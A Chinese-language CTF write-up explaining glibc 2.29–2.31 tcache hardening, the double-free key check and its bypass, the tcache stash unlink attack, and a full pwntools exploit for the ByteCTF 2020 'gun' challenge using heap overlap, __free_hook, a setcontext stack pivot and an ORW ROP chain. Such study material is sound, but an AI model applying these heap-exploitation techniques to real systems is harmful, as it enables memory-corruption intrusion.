HEAP-2020-姿势学习 在2020 10月份的时候,glibc 2.27将更新至2.29一样的特性。
各个hepe的利用方式,很大部分依赖于glibc版本的不同,这里主要讲研究呀下glibc 2.27与2.29以及后续的glibc保护。
Tcache结构 tcache_entry 2.29版本
1 2 3 4 5 6 typedef struct tcache_entry { struct tcache_entry *next ; struct tcache_perthread_struct *key ; } tcache_entry;
2.27 老版本
1 2 3 4 typedef struct tcache_entry { struct tcache_entry *next; } tcache_entry;
发现-2.29在tcache_entry结构体中加上结构体指针key,该key值为tcache_perthread_struct的地址。
tcache_put && tcache_get glibc-2.29
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 tcache_put (mchunkptr chunk, size_t tc_idx) { tcache_entry *e = (tcache_entry *) chunk2mem (chunk); assert (tc_idx < TCACHE_MAX_BINS); e->key = tcache; e->next = tcache->entries[tc_idx]; tcache->entries[tc_idx] = e; ++(tcache->counts[tc_idx]); } tcache_get (size_t tc_idx) { tcache_entry *e = tcache->entries[tc_idx]; assert (tc_idx < TCACHE_MAX_BINS); assert (tcache->entries[tc_idx] > 0 ); tcache->entries[tc_idx] = e->next; --(tcache->counts[tc_idx]); e->key = NULL ; return (void *) e; }
glibc 2.27
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 tcache_put (mchunkptr chunk, size_t tc_idx) { tcache_entry *e = (tcache_entry *) chunk2mem (chunk); assert (tc_idx < TCACHE_MAX_BINS); e->next = tcache->entries[tc_idx]; tcache->entries[tc_idx] = e; ++(tcache->counts[tc_idx]); } tcache_get (size_t tc_idx) { tcache_entry *e = tcache->entries[tc_idx]; assert (tc_idx < TCACHE_MAX_BINS); assert (tcache->entries[tc_idx] > 0 ); tcache->entries[tc_idx] = e->next; --(tcache->counts[tc_idx]); return (void *) e; }
在将chunk放入tcache之后,会将chunk->key设置为tcachestruct,即是heap的开头,来表示该chunk已经放入了tcache。而将chunk从tcache取出来后则将chunk->key设置为NULL清空。 总体上对tcache的改动是在tcacheentry结构指针中增加了一个变量key,来表明该chunk是否处于tcache的状态。
free函数 glibc-2.29
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 { size_t tc_idx = csize2tidx (size); if (tcache != NULL && tc_idx < mp_.tcache_bins) { tcache_entry *e = (tcache_entry *) chunk2mem (p); if (__glibc_unlikely (e->key == tcache)) { tcache_entry *tmp; LIBC_PROBE (memory_tcache_double_free, 2 , e, tc_idx); for (tmp = tcache->entries[tc_idx]; tmp; tmp = tmp->next) if (tmp == e) malloc_printerr ("free(): double free detected in tcache 2" ); } if (tcache->counts[tc_idx] < mp_.tcache_count) { tcache_put (p, tc_idx); return ; } } }
glibc 2.27
1 2 3 4 5 6 7 8 9 10 11 { size_t tc_idx = csize2tidx (size); if (tcache && tc_idx < mp_.tcache_bins && tcache->counts[tc_idx] < mp_.tcache_count) { tcache_put (p, tc_idx); return ; } }
glibc-2.29中增加了一个检查:
chunk在放入tcache之前会检查chunk->key是否为tcache,表示是否已经存在于tcache中,如果已经存在于tcache,则会检查tcache链中是否有跟他相同的堆块。 这对double free造成了很大的障碍。
常用绕过的一种方法是:如果有存在UFA漏洞或者形成堆重叠等情况,可以修改chunk->key,使其e->key != tcache,就可以绕过检查
glibc-2.31 前置知识 为了增加安全性,2.29 版本以后的 tcache_entry 结构体发生了变化,增加了 key 字段。
1 2 3 4 5 6 typedef struct tcache_entry { struct tcache_entry *next ; struct tcache_perthread_struct *key ; } tcache_entry;
在 free 的时候多了一段检测
1 2 3 4 5 6 7 8 9 10 11 12 if (__glibc_unlikely (e->key == tcache)) { tcache_entry *tmp; LIBC_PROBE (memory_tcache_double_free, 2 , e, tc_idx); for (tmp = tcache->entries[tc_idx]; tmp; tmp = tmp->next) if (tmp == e) malloc_printerr ("free(): double free detected in tcache 2" ); }
之后在 tcache_put 函数中多了一段 e->key=tcache 的代码:
1 2 3 4 5 6 7 8 9 10 11 12 static __always_inline void tcache_put (mchunkptr chunk, size_t tc_idx) { tcache_entry *e = (tcache_entry *) chunk2mem (chunk); e->key = tcache; e->next = tcache->entries[tc_idx]; tcache->entries[tc_idx] = e; ++(tcache->counts[tc_idx]); }
整个流程为:调用 tcache_put 放入 tcache_entry 的时候,其 next 指针和之前变化一致,但是其 key 字段指向了tcache。接下来 free 的时候会检测 key 字段是否为 tcache,如果相等则检测 free 的指针值是否在对应的tcache_entry 链上,如果在则视为程序在 double free,进而终止程序。这里为什么逻辑不是 key 等于 tcache 直接中断,应该是考虑了用户放在 key 字段的数据恰好为 tcache 值的情况。
这种简单的方法使得之前的 tcache 非常随意的 double free 失效了。不过绕过的方式也非常简单,即在构造double free 时提前修改 key 字段的值为任意其他的值。所以相关的所有攻击手法依然可用,并且增加了能够修改key 字段的前提。
还有一个变动就是 tcache 本身的结构体发生了变化:counts 字段由原来的一字节变成了现在的两字节。
1 2 3 4 5 typedef struct tcache_perthread_struct { uint16_t counts[TCACHE_MAX_BINS]; tcache_entry *entries[TCACHE_MAX_BINS]; } tcache_perthread_struct;
这个变动使得一些分析堆利用的 gdb 插件解析出现了一定的错误。
fastbin
fastbin 与 tcache 之间存在一种新的 stash 机制:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 size_t tc_idx = csize2tidx (nb);if (tcache && tc_idx < mp_.tcache_bins) { mchunkptr tc_victim; while (tcache->counts[tc_idx] < mp_.tcache_count && (tc_victim = *fb) != NULL ) { if (SINGLE_THREAD_P) *fb = tc_victim->fd;else { REMOVE_FB (fb, pp, tc_victim); if (__glibc_unlikely (tc_victim == NULL )) break ; } tcache_put (tc_victim, tc_idx); } }
当从 fastbin 里取 chunk 时,其余的 chunk 会被依次放入对应的 tcache 中,终止条件时 fastbin 链为空或者 tcache 装满。
其余并无多余变动,要注意做 fastbin 相关利用的时候要先填满对应的 tcache_entry 链。
smallbin
tcache 与 smallbin 之间也增加了 stash 的过程,即向 smallbin 申请的时候,这条 smallbin 链中其余 chunk 会被放到对应 size 的 tcache_entry 链中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 size_t tc_idx = csize2tidx (nb);if (tcache && tc_idx < mp_.tcache_bins) { mchunkptr tc_victim; while (tcache->counts[tc_idx] < mp_.tcache_count && (tc_victim = last (bin)) != bin) { if (tc_victim != 0 ) { bck = tc_victim->bk; set_inuse_bit_at_offset (tc_victim, nb); if (av != &main_arena) set_non_main_arena (tc_victim); bin->bk = bck; bck->fd = bin; tcache_put (tc_victim, tc_idx); } } }
Tache stash unlink
这种 smallbin 解链方式类似于远古版本的无检测 unlink ,就此也产生了新的利用方式,目前适用于所有带 tcache 的 glibc 版本。
攻击的前提就是得到堆地址,且可以修改 smallbin 中 chunk 的 bk 字段,这里针对不同情况,可以实现三种效果:
Tcache stash unlink attack
该利用方式在祥云杯初赛就遇到过,需要利用该方式将某random key值修改为指定值,类似与unsorted bin 攻击,即向任意地址写入一个不可控的大数字。其最核心操作,就是先放入 2 个 chunk 到 smallbin,6 个 chunk 到对应的 tcache 。之后在不破坏 fd 的情况下将后放入 smallbin 的 chunk 的 bk 设置为目标地址- 0x10 。这样当再向 smallbin 申请对应 size 的 chunk 时(一般用 calloc,因为 calloc 不从tcache分配内存 ),先放入 smallbin 的 chunk 被分配给用户,然后触发 stash 机制。bck = tc_victim->bk; 此时的 bck 就是目标地址-0x10,之后 bck->fd = bin; 也就是*(目标地址-0x10+0x10) = bin,这样就实现了等价于 unsortedbin 的操作。之后调用 tcache_put 把后放入 smallbin 的 chunk 取出给对应的 tcache ,因为 tcache 之前已经被布置了 6 个 chunk ,这次 put 后达到了阈值,所以也就退出了这次 stash 循环,整个流程就可以正常结束了。
glibc 2.29与gilbc 2.31其实利用差不多的,保护检查机制没有增加。
LIBC-2.31利用例子 BYTECTF-2020-GUN 下载:
简单描述 该题是一个libc-2.31的利用, 且开启了沙箱, 只能orw
vul 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 __int64 __usercall shoot@<rax>(__int64 a1@<rbp>) { __int64 v2; __int64 v3; __int64 v4; signed int i; __int64 idx; __int64 v7; __asm { endbr64 } v7 = a1; if ( !loaded_arr ) return puts_0("No bullet!" ); sub_1140(); idx = (unsigned int )input_n((__int64)&v7); for ( i = 0 ; loaded_arr && i < (signed int )idx; ++i ) { v2 = *(_QWORD *)loaded_arr; sub_1140(); v3 = *(_QWORD *)loaded_arr; sub_1100(); v4 = loaded_arr; loaded_arr = *(_QWORD *)(loaded_arr + 8 ); *(_QWORD *)(v4 + 16 ) = 0LL ; } sub_159A(); return sub_1140(); } __int64 __usercall load@<rax>(__int64 a1@<rbp>) { unsigned __int64 v2; __int64 v3; __asm { endbr64 } v3 = a1; sub_1140(); v2 = input_n((__int64)&v3); if ( v2 > 0xD || ptr_arr_flag[3 * v2] == 0LL || ptr_arr_flag[3 * v2] == 2LL ) return puts_0("what??" ); if ( loaded_arr ) *((_QWORD *)&unk_4068 + 3 * v2) = loaded_arr; loaded_arr = (__int64)&unk_4060 + 0x18 * v2; *((_QWORD *)&unk_4060 + 3 * v2 + 2 ) = 2LL ; return puts_0("Confirm." ); }
在进行shoot的时候, 只是对loaded_arr设置为下一个数据指针, 并没有清0, 若下一个数据指针已经被释放, 即可造成double free
double free poc
1 2 3 4 5 6 7 8 9 10 11 12 li('exploit...' ) sla(':' , 'I0gan' ) buy(0x10 , 'E' * 8 + '\n' ) buy(0x10 , 'F' * 8 + '\n' ) load(1 ) load(0 ) shoot(2 ) buy(0x10 , 'G' * 8 + '\n' ) load(0 ) shoot(2 )
先泄漏libc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 li('exploit...' ) sla(':' , 'I0gan' ) buy(0x450 , 'X' * 0x10 + '\n' ) buy(0x10 , 'A' * 8 + '\n' ) load(0 ) shoot(1 ) buy(0x10 , 'X' * 8 +'\n' ); load(0 ) shoot(1 ) libc_base = u64(ru('\x7f' )[-5 :] + b'\x7f\x00\x00' ) - 0x1ebf80 - 96 li('libc_base :' + hex (libc_base)) load(1 ) shoot(1 )
那么现在要如何实现堆重叠, 然而在程序逻辑中, 加载后的子弹不会清0, 残余的数据指针仍然还在, 那么若我们能够伪造一个chunk, 释放该chunk, 修改释放后的chunk的fd, 即可实现任意地址写入
实现heap overlap
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 n = 9 for _ in range (n): buy(0x80 , 'A' + str (_) + '\n' )for i in range (n): load(n - i - 1 ) shoot(n) p = p64(0 ) * 0x10 p += p64(0 ) + p64(0x31 ) p += p64(0 ) * 5 + p64(0x21 ) + b'\n' buy(0x410 , p) buy(0x20 , '20: 0\n' ) for i in range (6 ): buy(0x10 , '10: ' + str (i) + '\n' ) load(7 ) load(1 ) shoot(3 )
泄漏heap且释放我们overlap的大chunk, 以实现我们可以控制伪造chunk的fd
1 2 3 4 5 6 7 8 9 10 11 load(0 ) shoot(1 ) buy(0x20 , '\n' ) load(0 ) shoot(1 ) ru('The ' ) leak = u64(r(6 ) + b'\x00\x00' ) heap_base = leak - (0x55962cf186e0 - 0x55962cf18000 ) li('heap base' + hex (heap_base))
堆栈迁移至heap中并且打rop
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 libc.address = libc_base setcontext = libc.sym['setcontext' ] + 0x3d free_hook = libc.sym['__free_hook' ] rdx_and_call = libc_base + 0x1547a0 pop_rax = libc_base + 0x4a550 pop_rdi = libc_base + 0x26b72 pop_rsi = libc_base + 0x27529 pop_rdx_r12 = libc_base + 0x11c1e1 ret = libc_base + 0x25679 syscall = libc_base + 0x2584d p = p64(0 ) p += p64(heap_base + 0x750 + 0x10 ) p += p64(0 ) * 4 p += p64(setcontext) p += b'./flag\x00\x00' p = p.ljust(0x80 , b'\x00' ) p += p64(0 ) p += p64(0x31 ) p += p64(free_hook) p += p64(0 ) * 3 p += p64(heap_base + 0x750 + 0x100 ) p += p64(ret) p = p.ljust(0x100 , b'\x00' ) flag_addr = heap_base + 0x788 rop_open = flat([ pop_rdi , flag_addr, pop_rsi , 0 , libc.sym['open' ] ]) rop_read = flat([ pop_rdi, 3 , pop_rsi, flag_addr, pop_rdx_r12, 0x100 , 0 , libc.sym['read' ] ]) rop_puts = flat([ pop_rdi, flag_addr, libc.sym['puts' ] ]) rop = rop_open rop += rop_read rop += rop_puts p += rop p += b'\n' buy(0x1c0 , p) li('setcontext: ' + hex (setcontext)) buy(0x20 , '\n' ) buy(0x20 , p64(rdx_and_call) + b'\n' ) load(0 ) shoot(1 )
以上堆栈迁移与rop是同一个payload进行的, 需要精心计算, 还有一个坑就是在setcontext中有个判断, 失败的话就执行push rcx, 而rcx 为[rdx + 0xa8], 则在[rdx + 0xa8]处需要添加一个ret指令的地址,这样才能连接到我们精心构造的rop
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 from pwn import *import os r = lambda x : io.recv(x) ra = lambda : io.recvall() rl = lambda : io.recvline(keepends = True ) ru = lambda x : io.recvuntil(x, drop = True ) s = lambda x : io.send(x) sl = lambda x : io.sendline(x) sa = lambda x, y : io.sendafter(x, y) sla = lambda x, y : io.sendlineafter(x, y) ia = lambda : io.interactive() c = lambda : io.close() li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m' ) context.log_level='debug' context.terminal = ['tmux' , 'splitw' , '-h' ] context.arch = 'amd64' elf_path = 'gun' libc_path = '/lib/x86_64-linux-gnu/libc.so.6' server_ip = "0.0.0.0" server_port = 0 LOCAL = 1 LIBC = 1 def db (): if (LOCAL): gdb.attach(io)def shoot (t ): sla('>' , '1' ) sla(':' , str (t))def load (n ): sla('>' , '2' ) sla('?' , str (n))def buy (n, d ): sla('>' , '3' ) sla(':' , str (n)) sa(':' , d)def quit (): sla('>' , '4' ) def exploit (): li('exploit...' ) sla(':' , 'I0gan' ) buy(0x450 , 'X' * 0x10 + '\n' ) buy(0x10 , 'A' * 8 + '\n' ) load(0 ) shoot(1 ) buy(0x10 , 'X' * 8 +'\n' ); load(0 ) shoot(1 ) libc_base = u64(ru('\x7f' )[-5 :] + b'\x7f\x00\x00' ) - 0x1ebf80 - 96 li('libc_base :' + hex (libc_base)) load(1 ) shoot(1 ) n = 9 for _ in range (n): buy(0x80 , 'A' + str (_) + '\n' ) for i in range (n): load(n - i - 1 ) shoot(n) p = p64(0 ) * 0x10 p += p64(0 ) + p64(0x31 ) p += p64(0 ) * 5 + p64(0x21 ) + b'\n' buy(0x410 , p) buy(0x20 , 'a\n' ) for i in range (6 ): buy(0x10 , 'A\n' ) load(7 ) load(1 ) shoot(3 ) load(0 ) shoot(1 ) buy(0x20 , '\n' ) load(0 ) shoot(1 ) ru('The ' ) leak = u64(r(6 ) + b'\x00\x00' ) heap_base = leak - (0x55962cf186e0 - 0x55962cf18000 ) li('heap base' + hex (heap_base)) libc.address = libc_base setcontext = libc.sym['setcontext' ] + 0x3d free_hook = libc.sym['__free_hook' ] rdx_and_call = libc_base + 0x1547a0 pop_rax = libc_base + 0x4a550 pop_rdi = libc_base + 0x26b72 pop_rsi = libc_base + 0x27529 pop_rdx_r12 = libc_base + 0x11c1e1 ret = libc_base + 0x25679 syscall = libc_base + 0x2584d p = p64(0 ) p += p64(heap_base + 0x750 + 0x10 ) p += p64(0 ) * 4 p += p64(setcontext) p += b'./flag\x00\x00' p = p.ljust(0x80 , b'\x00' ) p += p64(0 ) p += p64(0x31 ) p += p64(free_hook) p += p64(0 ) * 3 p += p64(heap_base + 0x750 + 0x100 ) p += p64(ret) p = p.ljust(0x100 , b'\x00' ) flag_addr = heap_base + 0x788 rop_open = flat([ pop_rdi , flag_addr, pop_rsi , 0 , libc.sym['open' ] ]) rop_read = flat([ pop_rdi, 3 , pop_rsi, flag_addr, pop_rdx_r12, 0x100 , 0 , libc.sym['read' ] ]) rop_puts = flat([ pop_rdi, flag_addr, libc.sym['puts' ] ]) rop = rop_open rop += rop_read rop += rop_puts p += rop p += b'\n' buy(0x1c0 , p) li('setcontext: ' + hex (setcontext)) buy(0x20 , '\n' ) buy(0x20 , p64(rdx_and_call) + b'\n' ) load(0 ) shoot(1 )''' .text:00000000001547A0 mov rdx, [rdi+8] .text:00000000001547A4 mov [rsp+0C8h+var_C8], rax .text:00000000001547A8 call qword ptr [rdx+20h] .text:00000000001547AB mov qword ptr [rbx], 0 .text:00000000001547B2 mov rax, [rsp+0C8h+var_C8] ''' ''' .text:00000000000580DD mov rsp, [rdx+0A0h] .text:00000000000580E4 mov rbx, [rdx+80h] .text:00000000000580EB mov rbp, [rdx+78h] .text:00000000000580EF mov r12, [rdx+48h] .text:00000000000580F3 mov r13, [rdx+50h] .text:00000000000580F7 mov r14, [rdx+58h] .text:00000000000580FB mov r15, [rdx+60h] .text:00000000000580FF test dword ptr fs:48h, 2 .text:000000000005810B jz loc_581C6 .text:0000000000058111 mov rsi, [rdx+3A8h] .text:0000000000058118 mov rdi, rsi .text:000000000005811B mov rcx, [rdx+3B0h] ''' def finish (): ia() c()if __name__ == '__main__' : if LOCAL: elf = ELF(elf_path) if LIBC: libc = ELF(libc_path) io = elf.process(env = {"LD_PRELOAD" : libc_path} ) else : io = elf.process() else : elf = ELF(elf_path) io = remote(server_ip, server_port) if LIBC: libc = ELF(libc_path) exploit() finish()
其他姿势 应付orw 打入堆栈中 泄漏libc中的environ, 该变量中储存的是stack中的环境变量地址,这个可以泄漏堆栈地址, 从而可以打入堆栈中进行rop
堆栈迁移至堆 采用setcontext函数进行设置rsp, 然而再设置rsp的时候是根据rdx寄存器来进行设定的, 而平时在堆中, 若我们可以控制一个rdi, 找到一个rdx与rdi的对应关系, 我们就可以间接的修改rsp,在进行ret的时候就可以达到rop
找一个跳板
1 2 3 mov rdx, qword ptr [rdi + 8] mov qword ptr [rsp], rax call qword ptr [rdx + 0x20] <setcontext+61>
找到setcontext函数 + 61处
1 2 3 4 5 6 7 8 9 10 11 12 mov rsp, [rdx+0A0h] mov rbx, [rdx+80h] mov rbp, [rdx+78h] mov r12, [rdx+48h] mov r13, [rdx+50h] mov r14, [rdx+58h] mov r15, [rdx+60h] test dword ptr fs:48h, 2 jz loc_581C6 mov rsi, [rdx+3A8h] mov rdi, rsi mov rcx, [rdx+3B0h]
快速查找指令 1 objdump -M intel -D libc.so.6 | grep "mov rdx,QWORD PTR \[rdi+0x8\]"
参考
https://zhuanlan.zhihu.com/p/136983333
https://www.anquanke.com/post/id/194960
http://blog.eonew.cn/archives/1167